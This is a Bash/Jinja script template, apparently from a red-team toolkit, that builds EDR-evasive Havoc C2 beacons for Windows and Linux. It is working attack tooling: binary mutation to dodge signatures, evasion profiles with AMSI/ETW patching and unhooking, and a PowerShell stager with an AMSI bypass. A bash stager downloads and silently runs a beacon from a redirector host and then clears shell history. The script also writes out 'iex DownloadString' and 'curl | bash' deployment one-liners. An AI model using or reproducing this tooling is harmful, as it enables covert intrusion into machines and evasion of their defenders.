n0mad1k
456 lines
14 KiB
Django/Jinja
456 lines
14 KiB
Django/Jinja
#!/bin/bash
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# EDR-evasive beacon generator for Havoc C2
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# Every deployment produces completely unique payloads
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# Configuration (automatically populated by Ansible)
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HAVOC_DIR="/root/Tools/Havoc"
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BEACONS_DIR="/root/Tools/beacons"
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C2_HOST="{{ ansible_host }}"
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REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
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REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
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PROFILE_FILE="$HAVOC_DIR/config/profile.json"
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# Ensure required directories exist
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mkdir -p $BEACONS_DIR/windows
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mkdir -p $BEACONS_DIR/linux
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mkdir -p $BEACONS_DIR/staged
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mkdir -p $BEACONS_DIR/shellcode
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# Load Havoc configuration from profile
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if [ -f "$PROFILE_FILE" ]; then
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echo "[+] Loading Havoc configuration from profile..."
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TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
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ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
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ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
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HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
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HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
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else
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echo "[!] Warning: Profile file not found, using default values"
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TEAMSERVER_PORT=40056
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ADMIN_USER="admin"
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ADMIN_PASS="admin"
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HTTP_PORT=8080
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HTTPS_PORT=443
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fi
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# Generate unique random values for each execution
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random_string() {
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cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
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}
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# Anti-detection function to modify binary files
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modify_binary() {
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local input_file=$1
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echo "[+] Applying anti-detection modifications to: $input_file"
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# Create a temporary file
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local temp_file="${input_file}.tmp"
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cp "$input_file" "$temp_file"
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# Modify the file based on its type
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if file "$input_file" | grep -q "PE32"; then
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# Windows EXE/DLL modifications
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# Add random bytes to end of file
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dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
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# Modify PE header timestamps with random value
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random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
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printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
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dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
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# Try to strip debug information
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if command -v strip &> /dev/null; then
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strip --strip-debug "$temp_file" 2>/dev/null || true
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fi
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elif file "$input_file" | grep -q "ELF"; then
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# Linux ELF modifications
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# Add random bytes to end of file
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dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
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# Try to strip all symbols
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if command -v strip &> /dev/null; then
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strip --strip-all "$temp_file" 2>/dev/null || true
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fi
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fi
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# Replace original with modified version
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mv "$temp_file" "$input_file"
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echo "[+] Binary modifications complete"
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}
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# Create advanced Havoc payload profile with evasion techniques
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generate_profile() {
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local type=$1
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local profile_name="${type}_profile_$(random_string 8).json"
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echo "[+] Creating evasive $type profile..."
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# Generate random values for this profile
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local sleep_time=$(( RANDOM % 10 + 2 ))
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local jitter_percent=$(( RANDOM % 50 + 10 ))
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if [ "$type" == "windows" ]; then
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cat > "$BEACONS_DIR/$profile_name" << EOF
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{
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"Listener": "https",
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"Demon": {
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"Sleep": ${sleep_time},
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"SleepJitter": ${jitter_percent},
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"IndirectSyscalls": true,
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"Inject": {
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"AllocationMethod": $(( RANDOM % 3 )),
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"ExecutionMethod": $(( RANDOM % 3 )),
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"ExecuteOptions": $(( RANDOM % 2 ))
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},
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"Evasion": {
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"StackSpoofing": true,
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"SleazeUnhook": true,
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"AmsiEtwPatching": true,
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"SyscallMethod": $(( RANDOM % 3 )),
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"EnableSleepMask": true,
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"SleepMaskTechnique": $(( RANDOM % 4 ))
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},
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"Binary": {
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"Subsystem": $(( RANDOM % 2 + 1 ))
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}
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}
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}
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EOF
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elif [ "$type" == "linux" ]; then
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cat > "$BEACONS_DIR/$profile_name" << EOF
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{
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"Listener": "https",
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"Demon": {
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"Sleep": ${sleep_time},
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"SleepJitter": ${jitter_percent},
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"Injection": {
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"SpawnMethod": $(( RANDOM % 2 )),
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"AllocationMethod": $(( RANDOM % 2 ))
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},
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"Evasion": {
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"EnableSleepMask": true,
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"SleepMaskTechnique": $(( RANDOM % 4 ))
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}
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}
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}
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EOF
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fi
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echo "$profile_name"
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}
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# Generate Havoc payloads with EDR evasion techniques
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generate_payloads() {
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echo "[+] Generating EDR-evasive Havoc beacons..."
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# Windows EXE
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win_profile=$(generate_profile "windows")
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win_output="update_win_$(random_string 8).exe"
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echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
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$HAVOC_DIR/Client/havoc headless \
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--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
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--username "$ADMIN_USER" \
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--password "$ADMIN_PASS" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$BEACONS_DIR/$win_profile" \
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--format exe \
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--output "$BEACONS_DIR/windows/$win_output" \
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> /dev/null 2>&1
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# Apply custom binary modifications
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if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
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modify_binary "$BEACONS_DIR/windows/$win_output"
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fi
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# Windows DLL
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dll_profile=$(generate_profile "windows")
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dll_output="module_$(random_string 8).dll"
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echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
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$HAVOC_DIR/Client/havoc headless \
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--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
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--username "$ADMIN_USER" \
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--password "$ADMIN_PASS" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$BEACONS_DIR/$dll_profile" \
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--format dll \
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--output "$BEACONS_DIR/windows/$dll_output" \
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> /dev/null 2>&1
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# Apply custom binary modifications
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if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
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modify_binary "$BEACONS_DIR/windows/$dll_output"
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fi
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# Linux binary
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linux_profile=$(generate_profile "linux")
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linux_output="update_linux_$(random_string 8)"
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echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
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$HAVOC_DIR/Client/havoc headless \
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--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
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--username "$ADMIN_USER" \
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--password "$ADMIN_PASS" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$BEACONS_DIR/$linux_profile" \
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--format elf \
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--output "$BEACONS_DIR/linux/$linux_output" \
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> /dev/null 2>&1
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# Apply custom binary modifications
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if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
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modify_binary "$BEACONS_DIR/linux/$linux_output"
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fi
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# Windows shellcode (staged payload)
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shellcode_profile=$(generate_profile "windows")
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shellcode_output="shellcode_$(random_string 8).bin"
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echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
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$HAVOC_DIR/Client/havoc headless \
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--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
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--username "$ADMIN_USER" \
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--password "$ADMIN_PASS" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$BEACONS_DIR/$shellcode_profile" \
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--format shellcode \
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--output "$BEACONS_DIR/shellcode/$shellcode_output" \
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> /dev/null 2>&1
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echo "[+] All payloads generated successfully!"
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# Return payload information
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echo "$win_output:$dll_output:$linux_output:$shellcode_output"
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}
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# Generate PowerShell and bash stagers
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generate_stagers() {
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win_output=$1
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linux_output=$2
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echo "[+] Generating evasive stagers..."
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# Create PowerShell stager directory
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mkdir -p $BEACONS_DIR/stagers
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# PowerShell stager with AMSI bypass and obfuscation
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cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
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# PowerShell stager for Havoc C2 with AMSI bypass
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[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
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# AMSI Bypass
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function Bypass-AMSI {
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$a = [Ref].Assembly.GetTypes()
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ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
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$d = $c.GetFields('NonPublic,Static')
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ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
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$g = $f.GetValue($null)
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[IntPtr]$ptr = $g
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[Int32[]]$buf = @(0)
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[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
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}
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# Try to bypass AMSI
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try { Bypass-AMSI } catch {}
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# Randomize variables for evasion
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$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
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$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
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$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
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# Error handling with obfuscation
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$ErrorActionPreference = 'SilentlyContinue'
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$wc = New-Object System.Net.WebClient
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$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
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$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
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$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
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# Split URL to avoid detection
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$r1 = "https://"
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$r2 = "REDIRECTOR_HOST"
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$r3 = "/content/windows/WINDOWS_EXE"
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$url = $r1 + $r2 + $r3
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# Download with jitter
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$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
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try {
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$wc.DownloadFile($url, $outpath)
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Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
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# Start process with extra obfuscation
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$p = New-Object System.Diagnostics.Process
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$p.StartInfo.FileName = $outpath
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$p.StartInfo.WindowStyle = 'Hidden'
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$p.StartInfo.CreateNoWindow = $true
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$p.Start()
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} catch {
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# Fail silently
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}
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EOF
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# Replace placeholder values in PowerShell stager
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sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
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sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
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# Bash stager with obfuscation techniques
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cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
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#!/bin/bash
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# Linux download and execute Havoc beacon with EDR evasion
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# Function obfuscation
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function x() {
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command -v "$1" > /dev/null 2>&1
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}
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# Random temp filename
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r() {
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head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
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}
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# Randomize variables
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TMPVAR=$(r)
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TMPFILE="/tmp/.${TMPVAR}"
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# Check which download tool is available
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if x curl; then
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# Split URL to avoid signature detection
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p1="https://"
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p2="REDIRECTOR_HOST"
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p3="/content/linux/LINUX_BINARY"
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url="${p1}${p2}${p3}"
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# Add random sleep between operations
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sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
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curl -s -o "$TMPFILE" "$url"
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elif x wget; then
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p1="https://"
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p2="REDIRECTOR_HOST"
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p3="/content/linux/LINUX_BINARY"
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url="${p1}${p2}${p3}"
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# Add random sleep between operations
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sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
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wget -q -O "$TMPFILE" "$url"
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else
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exit 1
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fi
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# Make executable and run in background
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chmod +x "$TMPFILE"
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# Add random sleep before execution
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sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
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("$TMPFILE" > /dev/null 2>&1 &)
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# Clean up command history if possible
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[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
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history -c 2>/dev/null
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echo "Update complete."
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EOF
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# Replace placeholder values in Bash stager
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sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
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sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
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chmod +x $BEACONS_DIR/stagers/linux_stager.sh
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echo "[+] Stagers created successfully"
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}
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# Create manifest file
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create_manifest() {
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local payload_info=$1
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local win_output=$(echo $payload_info | cut -d':' -f1)
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local dll_output=$(echo $payload_info | cut -d':' -f2)
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local linux_output=$(echo $payload_info | cut -d':' -f3)
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local shellcode_output=$(echo $payload_info | cut -d':' -f4)
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echo "[+] Creating manifest file..."
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cat > $BEACONS_DIR/manifest.json << EOF
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{
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"windows_exe": "$win_output",
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"windows_dll": "$dll_output",
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"linux_binary": "$linux_output",
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"windows_shellcode": "$shellcode_output",
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"redirector_host": "$REDIRECTOR_HOST",
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"redirector_port": "$REDIRECTOR_PORT",
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"c2_host": "$C2_HOST",
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"havoc_teamserver_port": "$TEAMSERVER_PORT",
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"havoc_http_port": "$HTTP_PORT",
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"havoc_https_port": "$HTTPS_PORT",
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"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
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}
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EOF
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}
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# Create reference file
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create_reference() {
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local payload_info=$1
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local win_output=$(echo $payload_info | cut -d':' -f1)
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local dll_output=$(echo $payload_info | cut -d':' -f2)
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local linux_output=$(echo $payload_info | cut -d':' -f3)
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local shellcode_output=$(echo $payload_info | cut -d':' -f4)
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echo "[+] Creating reference file..."
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cat > $BEACONS_DIR/reference.txt << EOF
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Havoc C2 Server Details:
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- C2 IP: $C2_HOST
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- Redirector Domain: $REDIRECTOR_HOST
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- Teamserver Port: $TEAMSERVER_PORT
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- Admin User: $ADMIN_USER
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- Admin Password: $ADMIN_PASS
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Beacons Generated ($(date)):
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- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
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- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
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- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
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- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
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Deployment Commands:
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- PowerShell:
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powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
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- Linux:
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curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
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Anti-Detection Features Enabled:
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- Binary signature randomization
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- PE/ELF header manipulation
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- Sleep mask obfuscation
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- AMSI bypass in stagers
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- EDR unhooking
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- Indirect syscalls
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- Random sleep/jitter timing
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EOF
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}
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# Main execution flow
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echo "[+] Starting EDR-evasive Havoc beacon generation..."
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echo "[+] Redirector: $REDIRECTOR_HOST"
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echo "[+] C2 Host: $C2_HOST"
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# Generate payloads
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payload_info=$(generate_payloads)
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# Generate stagers
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generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
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# Create manifest file
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create_manifest "$payload_info"
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# Create reference file
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create_reference "$payload_info"
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echo "[+] EDR-evasive beacon generation complete!" |